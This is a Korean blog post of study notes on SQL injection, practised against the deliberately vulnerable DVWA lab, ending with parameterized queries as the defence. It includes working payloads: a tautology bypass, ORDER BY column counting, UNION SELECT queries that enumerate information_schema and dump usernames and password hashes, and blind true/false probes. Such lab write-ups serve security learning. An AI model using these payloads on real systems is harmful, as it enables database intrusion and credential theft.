본문 바로가기
보안

Chapter 07. SQL 인젝션 공격

qbang 2019. 2. 28.

Chapter 07. SQL 인젝션 공격

 

SQL 인젝션 공격 개요

 

- 웹 서버 영역의 DB로 전송되는 SQL 쿼리문을 사용자가 임의로 조작할 수 있는 경우 발생

 

1       WHERE 구문을 우회하여 공격

 

$id = $_REQUEST[ ‘id’ ];
$query = “SELECT name, email FROM users WHERE id = ‘ $id ’;”;

 

- 위 예제의 경우 사용자가 입력한 id 파라미터 값($id)이 쿼리문의 일부로 사용되고 있음, 이때 사용자가 id값으로 1’ or ‘1’=’1을 입력하게 되면 id = ‘1’ 항상 참이 되어 모든 사용자의 이름과 이메일이 공격자에게 전달됨

 

2       UNION 구문을 이용한 공격

 

SELECT name, email FROM users WHERE ID=’1’ UNION SELECT name, pw FROM users#~~~’

 

- UNION은 합집합으로 두 SELECT 구문의 결과를 모두 포함시키게 함, 쿼리 끝에 #을 삽입하는 이유는 맨 끝 을 주석 처리하려고 씀. ‘짝수가 안맞아서 주석처리가 안되어있으면 에러가 발생할 수 있음 + 뒤에 있을지 모르는 구문(~~~) 주석 처리

 

 

 

WHERE 구문 우회 실습

- SQL 인젝션 공격에 취약한지 테스트해볼 수 있는 가장 기본적인 방법은 을 입력해보는 것임

SELECT name, email FROM users WHERE id = ‘’’;

- 쌍이 맞지 않아 syntax 에러 발생

 

1’ or ’1’=’1

- User ID에 표에 있는 구문 입력하면 admin 외에도 다른 사용자의 정보가 출력됨

 

 

 

ORDER BY UNION 공격 실습

 

 

 

 

 

 

 

1’ ORDER BY 1#

 

 

 

 

 

 

 

- ORDER BY 뒤의 숫자를 증가시켜 가다가 에러 발생하면 그 전 값이 칼럼의 개수

1’ ORDER BY 3#

- 3부터 에러가 발생전체 칼럼의 개수가 두 개임을 알 수 있음

 

‘ UNION SELECT schema_name,2 from information_schema.schemata#

 

- MYSQL DBinformation_shema라는 DB에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리, 따라서 information_ schemaschemata 테이블로부터 shema_name을 가져오는 SQL 쿼리문을 이용하면 DB이름을 알아낼 수 있음

 

- ‘ 앞에 상수를 써도 되지만 안 써도 됨

- first name 뒤에 데이터 베이스의 이름이 출력되고 있고, DVWA에서 사용하는 DB의 이름이 dvwa 임을 추측할 수 있음

 

' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa'#

- table_schemadvwa인지를 확인하는 조건을 주어 dvwa DB의 테이블만 출력, guest users라는 테이블이 출력됨

' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

 

- 사용자(users) 테이블의 칼럼 목록을 알아내는 구문과 입력 결과, user password 칼럼이 눈에 띔

 

' UNION SELECT user,password from users#

- 사용자 이름과 패스워드 해시가 출력됨, adminsurname md5 복호화하면 password

 

 

 

블라인드 SQL 인젝션 공격

- ‘을 입력하니 해당 사용자 ID DB에 없다는 메시지가 출력됨. 에러가 발생하지 않도록 처리하는 루틴이 구현되어 있음을 추측, 별다른 에러가 발생하지 않아 얘가 SQL 쿼리문을 사용하고 있는지 모름

 

1’ AND 1=1#

- SQL 구문이 실행된다면 AND 조건이 같이 처리되어 참이 될 수 있는 구문을 입력했는데 ID가 존재한다는 메시지가 출력됨

1’ AND 1=2#

- SQL 구문이 사용되는지 확실히 하기 위하여 FALSE가 되는 구문을 입력했더니 사용자가 없다고 뜸, SQL 쿼리문을 통해 처리되고 있음을 확인

 

- AND 등과 같은 연산이 실행되어 참과 거짓에 따라 그 결과가 다르게 구분되어 출력되는 것은 SQL 쿼리문이 뒤에서 사용된다는 증거(같은 결과가 출력되는 경우에는 AND 뒤에 SLEEP함수를 넣어보면 됨, 참일 경우에만 실행됨)

 

sqlmap 자동화 공격

 

 

 

 

 

- 1을 입력하고 [Submit] 누르면 주소창에 요청을 전송한 URL이 표시됨

 

 

 

- 쿠키 값 확인은 F12 누르고 document.cookie 입력

- 옵션 값 중에 &#은 특수 기능으로 사용되기 떄문에 따옴표로 묶어줘야 함

 

 

 

- 밝은 녹색이 공격 가능성이 높다는 뜻인데 첫번째는 ID 파라미터가 SQL 인젝션 공격 가능성이 있다고 말하는 거고, 두번째는 XSS 공격 가능성이 있다고 알려주는 것

 

 

 

 

 

- DB 뭐쓰는지 알아냄

- 테이블 뭐있는지 알아내기

- 사용자 ID와 패스워드 해시, 크래킹된 패스워드들이 출력됨, 이 과정을 반복하면 DB의 정보들을 다 알 수 있음

 

 

 

SQL 인젝션 공격 대응

 

- 사용자가 입력한 값은 SQL 쿼리문에서 오직 데이터로만 사용되어야 함 -> 쿼리문을 구성하고 실행하는 방법을 파라미터 쿼리로 변경

 

 

해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.

'보안' 카테고리의 다른 글

Chapter 09. XSS 공격  (0) 2019.03.01
Chapter 08. Command 인젝션 공격  (0) 2019.02.28
Chapter 06. 취약한 인증 공격  (0) 2019.02.27
Chapter 05. 정보 수집  (0) 2019.02.27
Chapter 04. 버프 수트  (0) 2019.02.26

댓글